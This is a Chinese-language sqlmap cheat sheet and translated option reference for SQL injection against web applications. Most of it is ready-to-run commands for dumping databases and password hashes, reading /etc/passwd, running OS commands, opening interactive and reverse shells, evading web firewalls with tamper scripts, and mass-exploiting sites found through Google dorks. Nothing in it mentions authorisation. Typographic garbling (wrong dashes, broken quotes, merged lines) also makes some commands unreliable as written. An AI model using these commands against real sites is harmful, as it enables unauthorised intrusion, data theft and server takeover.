sqlmap -u 「http://url/news?id=1〃 –current-user #獲取當前用戶名稱sqlmap -u 「http://www.xxoo.com/news?id=1〃 –current-db #獲取當前數 據庫名稱
sqlmap -u 「http://www.xxoo.com/news?id=1〃 –tables -D 「db_name」#列 表名
sqlmap -u 「http://url/news?id=1〃 –columns -T 「tablename」users-D 「db_name」-v 0 #列字段
sqlmap -u 「http://url/news?id=1〃 –dump -C 「column_name」 -T 「table_name」-D 「db_name」-v
0 #獲取字段內容
******************信息獲取******************
sqlmap -u 「http://url/news?id=1〃 –dbms 「Mysql」 –users # dbms 指定數 據庫類型
sqlmap -u 「http://url/news?id=1〃 –users #列數據庫用戶
sqlmap -u 「http://url/news?id=1〃 –dbs#列數據庫
sqlmap -u 「http://url/news?id=1〃 –passwords #數據庫用戶密碼
sqlmap -u 「http://url/news?id=1〃 –passwords-U root -v 0 #列出指定用戶 數據庫密碼
sqlmap -u 「http://url/news?id=1〃 –dump -C 「password,user,id」 -T 「tablename」-D 「db_name」
–start 1 –stop 20 #列出指定字段,列出20 條
sqlmap -u 「http://url/news?id=1〃 –dump-all -v 0 #列出全部數據庫全部表
sqlmap -u 「http://url/news?id=1〃 –privileges #查看權限
sqlmap -u 「http://url/news?id=1〃 –privileges -U root #查看指定用戶權限sqlmap-u 「http://url/news?id=1〃 –is-dba -v 1 #是不是數據庫管理員sqlmap -u 「http://url/news?id=1〃 –roles #枚舉數據庫用戶角色
sqlmap -u 「http://url/news?id=1〃 –udf-inject #導入用戶自定義函數(獲取 系統權限!)
sqlmap -u 「http://url/news?id=1〃 –dump-all –exclude-sysdbs -v 0 #列 出當前庫全部表
sqlmap -u 「http://url/news?id=1〃 –union-cols #union 查詢表記錄
sqlmap -u 「http://url/news?id=1〃 –cookie 「COOKIE_VALUE」#cookie注入
sqlmap -u 「http://url/news?id=1〃-b #獲取banner信息
sqlmap -u 「http://url/news?id=1〃 –data 「id=3〃#post注入
sqlmap -u 「http://url/news?id=1〃-v 1 -f #指紋判別數據庫類型
sqlmap -u 「http://url/news?id=1〃 --proxy「http://127.0.0.1:8118」 #代理注 入
sqlmap -u 「http://url/news?id=1〃–string」STRING_ON_TRUE_PAGE」# 指 定關鍵詞
sqlmap -u 「http://url/news?id=1〃 –sql-shell #執行指定sql命令
sqlmap -u 「http://url/news?id=1〃 –file /etc/passwd
sqlmap -u 「http://url/news?id=1〃 –os-cmd=whoami #執行系統命令
sqlmap -u 「http://url/news?id=1〃 –os-shell #系統交互shell sqlmap -u 「http://url/news?id=1〃 –os-pwn #反彈shell
sqlmap -u 「http://url/news?id=1〃 –reg-read #讀取win系統註冊表
sqlmap -u 「http://url/news?id=1〃 –dbs-o 「sqlmap.log」#保存進度
sqlmap -u 「http://url/news?id=1〃 –dbs -o 「sqlmap.log」 –resume #恢復 已保存進度
***********高級用法*************
-p name 多個參數如index.php?n_id=1&name=2&data=2020 咱們想指定name參數進行注入
sqlmap -g 「google語法」 –dump-all –batch #google搜索注入點自動 跑出 全部字段 需保證google.com能正常訪問
–technique 測試指定注入類型\使用的技術
不加參數默認測試全部注入技術
B: 基於布爾的SQL 盲注
E: 基於顯錯sql 注入
U: 基於UNION 注入
S: 疊層sql 注入
T: 基於時間盲注
–tamper 經過編碼繞過WEB 防火牆(WAF)Sqlmap 默認用char()
–tamper 插件所在目錄
\sqlmap-dev\tamper
sqlmap -u 「http:// www.2cto.com /news?id=1〃 –smart –level 3 –users # smart 智 能
level 執行測試等級 攻擊實例:
Sqlmap -u 「http://url/news?id=1&Submit=Submit」
–cookie=」PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406〃 –string=」Surname」 –dbms=mysql –user
–password
參考文檔:http://sqlmap.sourceforge.net/doc/README.html
***********安裝最新版本*************
ubuntu 經過apt-get install 安裝的sqlmap版本爲0.6 咱們經過svn 來安裝 爲 最新1.0版
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝的位置爲:/home/當前用戶/sqlmap-dev/sqlmap.py 直接執行/home/當前用戶/sqlmap-dev/sqlmap.py –version 這樣很不方便 咱們能夠設置.bashrc 文件
sudo vim /home/當前用戶/.bashrc
#任意位置加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 該環境變量只對當前用戶有效
若是想對全部用戶有效 可設置全局 編輯下面的文件
vim /etc/profile
一樣加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重啓生效
******************windows 7 (x64) sqlmap install (SVN)************
http://www.python.org/getit/ 安裝python
http://www.sliksvn.com/en/download 安裝windows svn client
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝sqlmap
*修改環境變量
–version 顯示程序的版本號並退出
-h, –help 顯示此幫助消息並退出
-v VERBOSE 詳細級別:0-6(默認爲1)
Target(目標): 如下至少須要設置其中一個選項,設置目標URL。
-d DIRECT 直接鏈接到數據庫。
-u URL, –url=URL 目標URL。
-l LIST 從Burp 或WebScarab 代理的日誌中解析目標。
-r REQUESTFILE 從一個文件中載入HTTP 請求。
-g GOOGLEDORK 處理Google dork 的結果做爲目標URL。
-c CONFIGFILE 從INI 配置文件中加載選項。
Request(請求)::
這些選項能夠用來指定如何鏈接到目標URL。
–data=DATA 經過POST 發送的數據字符串
–cookie=COOKIE HTTP Cookie 頭
–cookie-urlencode URL 編碼生成的cookie 注入
–drop-set-cookie 忽略響應的Set –Cookie 頭信息
–user-agent=AGENT 指定 HTTP User –Agent 頭
–random-agent 使用隨機選定的HTTP User –Agent 頭
–referer=REFERER 指定 HTTP Referer 頭
–headers=HEADERS 換行分開,加入其餘的HTTP 頭
–auth-type=ATYPE HTTP 身份驗證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份驗證憑據(用戶名:密碼)
–auth-cert=ACERT HTTP 認證證書(key_file,cert_file)
–proxy=PROXY 使用HTTP 代理鏈接到目標URL
–proxy-cred=PCRED HTTP 代理身份驗證憑據(用戶名:密碼)
–ignore-proxy 忽略系統默認的HTTP 代理
–delay=DELAY 在每一個HTTP 請求之間的延遲時間,單位爲秒
–timeout=TIMEOUT 等待鏈接超時的時間(默認爲30 秒)
–retries=RETRIES 鏈接超時後從新鏈接的時間(默認3)
–scope=SCOPE 從所提供的代理日誌中過濾器目標的正則表達式
–safe-url=SAFURL 在測試過程當中常常訪問的url 地址
–safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL
Optimization(優化): 這些選項可用於優化SqlMap 的性能。
-o 開啓全部優化開關
–predict-output 預測常見的查詢輸出
–keep-alive 使用持久的HTTP(S)鏈接
–null-connection 從沒有實際的HTTP 響應體中檢索頁面長度
–threads=THREADS 最大的HTTP(S)請求併發量(默認爲1)
Injection(注入):
這些選項能夠用來指定測試哪些參數, 提供自定義的注入payloads 和可選篡改腳本。
-p TESTPARAMETER 可測試的參數(S)
–dbms=DBMS 強制後端的DBMS 爲此值
–os=OS 強制後端的DBMS 操做系統爲這個值
–prefix=PREFIX 注入payload 字符串前綴
–suffix=SUFFIX 注入 payload 字符串後綴
–tamper=TAMPER 使用給定的腳本(S)篡改注入數據
Detection(檢測):
這些選項能夠用來指定在SQL 盲注時如何解析和比較HTTP 響應頁面的內容。
–level=LEVEL 執行測試的等級(1-5,默認爲1)
–risk=RISK 執行測試的風險(0-3,默認爲1)
–string=STRING 查詢時有效時在頁面匹配字符串
–regexp=REGEXP 查詢時有效時在頁面匹配正則表達式
–text-only 僅基於在文本內容比較網頁
Techniques(技巧): 這些選項可用於調整具體的SQL 注入測試。
–technique=TECH SQL 注入技術測試(默認BEUST)
–time-sec=TIMESEC DBMS 響應的延遲時間(默認爲5 秒)
–union-cols=UCOLS 定列範圍用於測試UNION 查詢注入
–union-char=UCHAR 用於暴力猜解列數的字符
Fingerprint(指紋):
-f, –fingerprint 執行檢查普遍的DBMS 版本指紋
Enumeration(枚舉):
這些選項能夠用來列舉後端數據庫管理系統的信息、表中的結構和數據。此外,您還能夠運行您本身 的SQL 語句。
-b, –banner 檢索數據庫管理系統的標識
–current-user 檢索數據庫管理系統當前用戶
–current-db 檢索數據庫管理系統當前數據庫
–is-dba 檢測DBMS 當前用戶是否DBA
–users 枚舉數據庫管理系統用戶
–passwords 枚舉數據庫管理系統用戶密碼哈希
–privileges 枚舉數據庫管理系統用戶的權限
–roles 枚舉數據庫管理系統用戶的角色
–dbs 枚舉數據庫管理系統數據庫
–tables 枚舉的DBMS 數據庫中的表
–columns 枚舉DBMS 數據庫表列
–dump 轉儲數據庫管理系統的數據庫中的表項
–dump-all 轉儲全部的DBMS 數據庫表中的條目
–search 搜索列(S),表(S)和/或數據庫名稱(S)
-D DB 要進行枚舉的數據庫名
-T TBL 要進行枚舉的數據庫表
-C COL 要進行枚舉的數據庫列
-U USER 用來進行枚舉的數據庫用戶
–exclude-sysdbs 枚舉表時排除系統數據庫
–start=LIMITSTART 第一個查詢輸出進入檢索
–stop=LIMITSTOP 最後查詢的輸出進入檢索
–first=FIRSTCHAR 第一個查詢輸出字的字符檢索
–last=LASTCHAR 最後查詢的輸出字字符檢索
–sql-query=QUERY 要執行的SQL 語句
–sql-shell 提示交互式SQL 的shell
Brute force(蠻力): 這些選項能夠被用來運行蠻力檢查。
–common-tables 檢查存在共同表
–common-columns 檢查存在共同列
User-defined function injection(用戶自定義函數注入): 這些選項能夠用來建立用戶自定義函數。
–udf-inject 注入用戶自定義函數
–shared-lib=SHLIB 共享庫的本地路徑
File system access(訪問文件系統): 這些選項能夠被用來訪問後端數據庫管理系統的底層文件系統。
–file-read=RFILE 從後端的數據庫管理系統文件系統讀取文件
–file-write=WFILE 編輯後端的數據庫管理系統文件系統上的本地文件
–file-dest=DFILE 後端的數據庫管理系統寫入文件的絕對路徑
Operating system access(操做系統訪問): 這些選項能夠用於訪問後端數據庫管理系統的底層操做系統。
–os-cmd=OSCMD 執行操做系統命令
–os-shell 交互式的操做系統的shell
–os-pwn 獲取一個OOB shell,meterpreter 或VNC
–os-smbrelay 一鍵獲取一個OOB shell,meterpreter 或VNC
–os-bof 存儲過程緩衝區溢出利用
–priv-esc 數據庫進程用戶權限提高
–msf-path=MSFPATH Metasploit Framework 本地的安裝路徑
–tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑
Windows 註冊表訪問: 這些選項能夠被用來訪問後端數據庫管理系統Windows 註冊表。
–reg-read 讀一個Windows 註冊表項值
–reg-add 寫一個Windows 註冊表項值數據
–reg-del 刪除Windows 註冊表鍵值
–reg-key=REGKEY Windows 註冊表鍵
–reg-value=REGVAL Windows 註冊表項值
–reg-data=REGDATA Windows 註冊表鍵值數據
–reg-type=REGTYPE Windows 註冊表項值類型
General(通常): 這些選項能夠用來設置一些通常的工做參數。
-t TRAFFICFILE 記錄全部HTTP 流量到一個文本文件中
-s SESSIONFILE 保存和恢復檢索會話文件的全部數據
–flush-session 刷新當前目標的會話文件
–fresh-queries 忽略在會話文件中存儲的查詢結果
–eta 顯示每一個輸出的預計到達時間
–update 更新SqlMap
–save file 保存選項到INI 配置文件
–batch 從不詢問用戶輸入,使用全部默認配置。
Miscellaneous(雜項):
–beep 發現SQL 注入時提醒
–check-payload IDS 對注入payloads 的檢測測試
–cleanup SqlMap 具體的UDF 和表清理DBMS
–forms 對目標URL 的解析和測試形式
–gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork 結果
–page-rank Google dork 結果顯示網頁排名(PR)
–parse-errors 從響應頁面解析數據庫管理系統的錯誤消息
–replicate 複製轉儲的數據到一個sqlite3 數據庫
–tor 使用默認的Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 給初級用戶的簡單向導界面php